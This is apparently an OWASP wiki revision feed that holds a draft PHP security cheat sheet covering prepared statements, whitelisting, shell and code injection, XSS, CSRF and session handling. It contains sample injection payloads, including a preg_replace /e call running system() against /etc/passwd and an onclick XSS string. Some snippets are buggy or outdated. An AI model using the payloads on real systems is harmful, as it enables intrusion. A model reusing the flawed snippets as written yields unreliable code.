            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
       if (!in_array($Needle,$Haystack))&lt;br /&gt;
          return reset($Haystack); //first element&lt;br /&gt;
       return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Roy Vanegas</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=170720</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=170720"/>
				<updated>2014-03-25T03:17:10Z</updated>
		
		<summary type="html">&lt;p&gt;Roy Vanegas: Updated the PHP usage stats.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
There are, unfortunately, serious issues in all areas that make it difficult to write secure PHP applications. These are difficult to work around if you are forced to use PHP, but you need to be aware of them.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions, and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all core PHP code, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
